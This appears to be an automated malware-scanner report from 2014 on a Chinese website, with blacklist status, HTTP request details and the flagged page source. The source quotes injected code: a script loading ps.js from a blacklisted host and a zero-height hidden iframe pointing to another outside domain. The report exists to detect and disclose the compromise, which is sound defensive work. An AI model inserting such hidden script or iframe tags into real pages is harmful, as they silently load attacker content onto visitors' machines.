New scan:

Malware Scanner report for yuanassociates.com.cn

Malicious/Suspicious/Total urls checked
0/1/3
1 page has suspicious code. See details below
Blacklists
Found
The website is marked by Yandex as suspicious.

The website "yuanassociates.com.cn" is probably hacked and losing its visitors. You need to take action as soon as possible to fix security issues.
Malicious Redirects
OK
Malicious/Hidden/Total iFrames
0/1/1
1 suspicious iframe found. See details below
Deface / Content modification
OK

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Safe Browsing / Blacklists

Query: http://www.google.com/safebrowsing/diagnostic?site=yuanassociates.com.cn

Result: This site is not currently listed as suspicious.
Query: http://yandex.com/infected?l10n=en&url=http://yuanassociates.com.cn/

Result: The website is marked by Yandex as suspicious. - visiting this web site may harm your computer.
Details are available here.

Scanned pages/files

RequestServer responseStatus
http://yuanassociates.com.cn/
200 OK
Content-Length: 8788
Content-Type: text/html
suspicious
Page code contains blacklisted domain: user3.33391.net

...[4764 bytes skipped]...
;td width="131"></td>
<td width="110"></td>
<td></td>
</tr>
</table></td>
<td></td>
</tr>
<tr>
<td height="61">&nbsp;</td>
<td></td>
</tr>
</table>
</body>
</html>
<script language=javascript src=http://user3.33391.net/ps.js></script>
<iframe src=http://derek.kalengzi.cn/a.htm width=100 height=0></iframe>

Hidden iFrame found.
size: 100x0     
src: http://derek.kalengzi.cn/a.htm

<iframe src=http://derek.kalengzi.cn/a.htm width=100 height=0>

http://user3.33391.net/ps.js
500 Can't connect to user3.33391.net:80 (Bad hostname)
Content-Length: 162
Content-Type: text/plain
clean
http://user3.33391.net/test404page.js
500 Can't connect to user3.33391.net:80 (Bad hostname)
Content-Length: 162
Content-Type: text/plain
clean

Malicious Redirects

First query (normal visit):
GET / HTTP/1.1
Host: yuanassociates.com.cn

Result:
HTTP/1.1 200 OK
Connection: close
Date: Thu, 02 Oct 2014 06:11:45 GMT
Accept-Ranges: bytes
ETag: "1404c50-2254-49fbf8a7f2180"
Server: Apache
Content-Length: 8788
Content-Type: text/html
Last-Modified: Thu, 31 Mar 2011 04:15:18 GMT
X-UA-Compatible: IE=EmulateIE7

...8788 bytes of data.
Second query (visit from search engine):
GET / HTTP/1.1
Host: yuanassociates.com.cn
Referer: http://www.google.com/search?q=yuanassociates.com.cn

Result:
The result is similar to the first query. There are no suspicious redirects found.